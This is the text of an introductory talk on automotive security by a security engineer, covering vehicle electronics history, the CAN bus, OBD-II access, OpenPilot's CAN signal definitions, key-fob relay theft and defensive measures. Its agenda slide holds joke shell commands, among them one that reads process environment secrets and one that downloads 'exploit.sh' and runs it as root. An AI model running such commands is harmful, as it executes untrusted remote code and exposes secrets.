

The Evolution of Automotive Complexity and the Evergrowing Need for Security

A (hopefully) gentle introduction

Eros Lever

2022-05-05




> whoami && cat /proc/self/environ	# who am I
> history grep 'automotive'	# automotive history
> lshw -short -businfo	# how devices interact
> ip link show dev can0	# CAN bus and protocols
> curl 10.0.0.1/exploit.sh sudo /bin/sh	# vulnerabilities and risks

- ❑ M.Sc. Computer Science and Engineering – Politecnico di Milano (2013)
 - ❑ Thesis on the security of mobile applications on the Android operating system
 - ❑ CaptureTheFlag player with TowerOfHanoi (now part of Mhackeroni)
- ❑ (Senior) Security Engineer – Secure Network
 - ❑ Applications, infrastructures, cloud, embedded (industrial & IoT)
- ❑ Chief Technology Officer – Secure Network
 - ❑ Share knowledge and grow everyday passionate people in our technical team

BV TECH as a Group

BV TECH



☐ Offensive Security

- ☐ Helping companies and developers to prevent hacks and stay secure
- ☐ Software, Firmware, Hardware, Networks, Communications
- ☐ Find vulnerabilities, try to exploit them in a controlled fashion, evaluate the risk, explain why it is important to fix them

☐ Digital Forensic

- ☐ Digital investigations on intellectual property theft, analysis of potentially compromised systems

☐ Security Operations Center

- ☐ Monitor large networks, track security events, promptly intervene when something occurs

☐ Audit and Compliance

- ☐ Support companies in achieving security standards and review internal policies

When It All Started

- ❑ How do we get from the first vehicles to modern concept designs?
 - ❑ New technological discoveries
 - ❑ Improve performances
 - ❑ Contain manufacturing prices
 - ❑ Improve safety
 - ❑ Improve usability
 - ❑ Environmental concerns



1880 – Gustave Trouvé – Trouvé's tricycle – Electric engine (battery-powered)



2015 – Mercedes-Benz – F 015 Concept



1885 – Carl Benz – Benz Patent-Motorwagen – Piston engine (gasoline)

In the Beginning We Only Had Safety





☐ Seat Belt

☐ Air Bag




Then the Electronics Arrived

- ❑ Anti-lock Braking System (ABS)
- ❑ Electronic Stability Control (ECS)
- ❑ Automatic Transmission





Entertainment: More and More Electronics

- ☐ Battery and Alternator
- ☐ Music player
- ☐ Phone and Handsfree systems
- ☐ GPS Navigation



So Many Electronics... How Are They Connected?

- ❑ A modern car has much more than 1km of cables running all over the vehicle
- ❑ How are they organized?
 - ❑ Historically systems were independent from one another
 - ❑ As they grow, the need to organize and standardize is impelling




Attempts at Bringing Structure

❑ Multiple buses using different technologies

- ❑ Most common bus is Controller Area Network (CAN)
- ❑ Other protocols built on top of CAN



❑ Connected through gateways

- ❑ Is it possible to cross through a gateway and reach another bus?




Who Can Access the CAN bus?

- ❑ Car manufacturers are required to expose a diagnostic port
 - ❑ The standard is the OBD-II port
 - ❑ Initially only car mechanics with specialized connectors and tools used it
 - ❑ Now tools are available, some are even products off-the-shelf




Tuning and Unauthorized Modifications

- ❑ Reprogram or reset the Engine Control Unit (ECU)
 - ❑ Need to take it out and take it apart
- ❑ There are tuning devices that work at the CAN level without requiring ECU reprogramming




Gray wire of the Tricore cable



What's Next? Autopiloting

- ❑ Historically we started with remote piloting
 - ❑ In 1925 the “American Wonder” was the first radio controlled (real) car
- ❑ What do we need to “drive” a car?
 - ❑ Accelerate → Cruise Control messages
 - ❑ Break → Emergency Braking System
 - ❑ Turn → Lane Centering
 - ❑ Automatic Transmission
- ❑ What about all the logic?
 - ❑ “Artificial Intelligence” is just a tiny bit generic...



Comma AI's OpenPilot

- ❑ Open Source software, they sell the hardware (~2.850€)
- ❑ Understands and sends messages on the bus
 - ❑ Obtained through Reverse Engineering of existing tools and monitoring real messages seen on the CAN bus of real cars



github.com/commaai/opendbc/blob/master/gm_global_a_powertrain_generated.dbc

```
86 BO_ 190 ECMAcceleratorPos: 6 K20_ECM
87 SG_ BrakePedalPos : 15|8@0+ (1,0) [0|0] "sticky" NEO
88 SG_ GasPedalAndAcc : 23|8@0+ (1,0) [0|0] "" NEO
89
90 BO_ 201 ECMEngineStatus: 8 K20_ECM
91 SG_ EngineTPS : 39|8@0+ (0.392156863,0) [0|100.000000065] "%" NEO
92 SG_ EngineRPM : 15|16@0+ (0.25,0) [0|0] "RPM" NEO
93 SG_ CruiseMainOn : 29|1@0+ (1,0) [0|1] "" NEO
94 SG_ Brake_Pressed : 40|1@0+ (1,0) [0|1] "" NEO
95 SG_ Standstill : 2|1@0+ (1,0) [0|1] "" NEO
96
97 BO_ 209 EBCMBrakePedalSensors: 7 K17_EBCM
98 SG_ Counter1 : 7|2@0+ (1,0) [0|3] "" XXX
99 SG_ Counter2 : 23|2@0+ (1,0) [0|3] "" XXX
100 SG_ BrakePedalPosition1 : 5|14@0+ (1,0) [0|16383] "" XXX
101 SG_ BrakePedalPosition2 : 21|14@0- (-1,0) [0|16383] "" XXX
102 SG_ BrakeNormalized1 : 39|8@0+ (1,0) [0|255] "" XXX
103 SG_ BrakeNormalized2 : 47|8@0- (-1,0) [0|255] "" XXX
104
105 BO_ 241 EBCMBrakePedalPosition: 6 K17_EBCM
106 SG_ BrakePedalPosition : 15|8@0+ (1,0) [0|255] "" NEO
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


What Could Go Wrong?

Vulnerabilities and Risks

Probably the Most Famous Stunt

- ❑ Wired journalist consented to be victim of the demonstration of this vulnerability
- ❑ Security researchers took remote control the car, resulting in a lateral skid in a grass field



Attack Example: Key-Fob Relaying

- ❑ What's the first thing you do after entering home?
 - ❑ Do you put your keys in a basket near the entrance?
- ❑ Some car models are (were?) vulnerable to a relay of the key unlock messages
 - ❑ Think of it as a WiFi extender, the signal gets boosted and reaches a longer distance

[dailymail.co.uk/news/article-6652383/Keyless-car-thieves-steal-Range-Rover-Sport-worth-6](https://www.dailymail.co.uk/news/article-6652383/Keyless-car-thieves-steal-Range-Rover-Sport-worth-6)


Gone in 40 seconds! Moment keyless car thieves steal £60,000 Land Rover from owner's drive using '£80' relay device - despite keys being in signal-blocking pouch

- CCTV footage shows gang of three target driveway in Harbone, Birmingham
- They use the 'relay' technique to trick keyless car system into unlocking itself
- Men manage to drive off in the £60,000 4x4 less than a minute after they arrive
- They stole the car despite owners' anti-theft 'faraday pouch' that blocks signal




Defining the Attack Surface

- ❑ Now we have a basic understanding of the components connected to a vehicle and how they interact with each other
- ❑ What happens if one – even a single one - of the components get compromised or has a flaw?
 - ❑ Impact may depend on which bus(es) it can reach
 - ❑ May inject messages on behalf of other components
 - ❑ May result in a car crash and death of the people onboard
- ❑ Most targeted
 - ❑ Physical access to the bus
 - ❑ Wireless communications
 - ❑ Infotainment
 - ❑ Remote management



Keeping Things Secure

- ☐ Review security of remote infrastructure and servers
- ☐ Review security of applications and web services
- ☐ Limit and verify external communication
- ☐ Separate buses to isolate components
- ☐ Blocking unauthorized cross-bus communications
- ☐ Implement authentication/session where supported
- ☐ Detect tampering of messages (integrity)
- ☐ Detect unusual/unexpected messages
- ☐ Encrypt content whenever useful (confidentiality)
- ☐ Review firmware security
- ☐ Review hardware security





That's All Folks!

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